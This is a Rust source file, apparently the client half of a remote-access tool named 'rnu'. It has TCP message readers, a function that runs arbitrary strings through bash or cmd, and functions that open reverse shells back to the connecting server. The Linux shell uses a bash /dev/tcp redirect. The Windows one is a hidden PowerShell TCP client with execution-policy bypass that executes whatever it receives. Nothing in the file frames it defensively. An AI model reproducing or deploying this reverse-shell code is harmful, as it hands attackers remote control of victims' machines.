rnu/
client.rs

1use std::io::{BufRead, BufReader, Error, ErrorKind, Read};
2use std::net::TcpStream;
3use std::process::{Command, ExitStatus};
4use std::str::from_utf8;
5
6pub fn reader(stream: &TcpStream) -> Result<String, Error> {
7    let mut msg: BufReader<&TcpStream> = BufReader::new(&stream);
8    let mut buffer: Vec<u8> = Vec::new();
9    msg.read_until(b'\n', &mut buffer)?;
10    let output: &str = match from_utf8(&buffer) {
11        Ok(it) => it,
12        Err(err) => {
13            return Err(Error::new(
14                ErrorKind::InvalidData,
15                format!("Buffer invalid: {}", err),
16            ))
17        }
18    };
19    Ok(output.to_string())
20}
21
22pub fn reader_bytes(stream: &TcpStream, end_byte: u8) -> Result<Vec<u8>, Error> {
23    let mut msg: BufReader<&TcpStream> = BufReader::new(&stream);
24    let mut buffer: Vec<u8> = Vec::new();
25    msg.read_until(end_byte, &mut buffer)?;
26    return Ok(buffer);
27}
28
29pub fn reader_bytes_until_sequence<R: Read>(
30    input: &mut R,
31    delimeter: Vec<u8>,
32) -> Result<Vec<u8>, Error> {
33    let mut buf: Vec<u8> = Vec::new();
34    let mut iend_pos = 0;
35    loop {
36        let mut byte = [0; 1];
37        input.read_exact(&mut byte)?;
38        if byte[0] == delimeter[iend_pos] {
39            iend_pos += 1;
40            if iend_pos == delimeter.len() {
41                for i in delimeter {
42                    buf.push(i);
43                }
44                return Ok(buf);
45            }
46        } else {
47            buf.extend(&delimeter[0..iend_pos]);
48            iend_pos = 0;
49            buf.push(byte[0]);
50        }
51    }
52}
53
54fn run_command(command: String) -> Result<ExitStatus, Error> {
55    if cfg!(target_os = "windows") {
56        return Command::new("cmd").arg("/C").arg(command).status();
57    } else if cfg!(target_os = "linux") {
58        return Command::new("bash").arg("-c").arg(command).status();
59    }
60    Err(Error::new(ErrorKind::Unsupported, "No supported OS"))
61}
62
63fn get_server_ip(stream: &TcpStream) -> Result<String, Error> {
64    match stream.peer_addr()? {
65        std::net::SocketAddr::V4(addr) => {
66            return Ok(addr.ip().to_string());
67        }
68        std::net::SocketAddr::V6(_) => {
69            return Err(Error::new(ErrorKind::Unsupported, "IPv6 not supported"));
70        }
71    }
72}
73
74fn rscl(stream: &TcpStream, port: u16) -> Result<ExitStatus, Error> {
75    let ip: String = get_server_ip(stream)?;
76    let reverseshell: String = format!("bash -i >& /dev/tcp/{ip}/{port} 0>&1"); //"bash -c 'bash -i >& /dev/tcp/0.0.0.0/23234 0>&1'";
77    run_command(reverseshell)
78}
79fn rscw(stream: &TcpStream, port: u16) -> Result<ExitStatus, Error> {
80    let ip: String = get_server_ip(stream)?;
81    let reverseshell: String = format!("powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient(\"{ip}\",{port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{{0}};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + \"PS \" + (pwd).Path + \"> \";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};$client.Close()");
82    run_command(reverseshell)
83}
84
85pub fn rsc(stream: &TcpStream, port: u16) -> Result<ExitStatus, Error> {
86    if cfg!(target_os = "windows") {
87        rscw(&stream, port)
88    } else if cfg!(target_os = "linux") {
89        rscl(&stream, port)
90    } else {
91        Err(Error::new(ErrorKind::Unsupported, "No supported OS"))
92    }
93}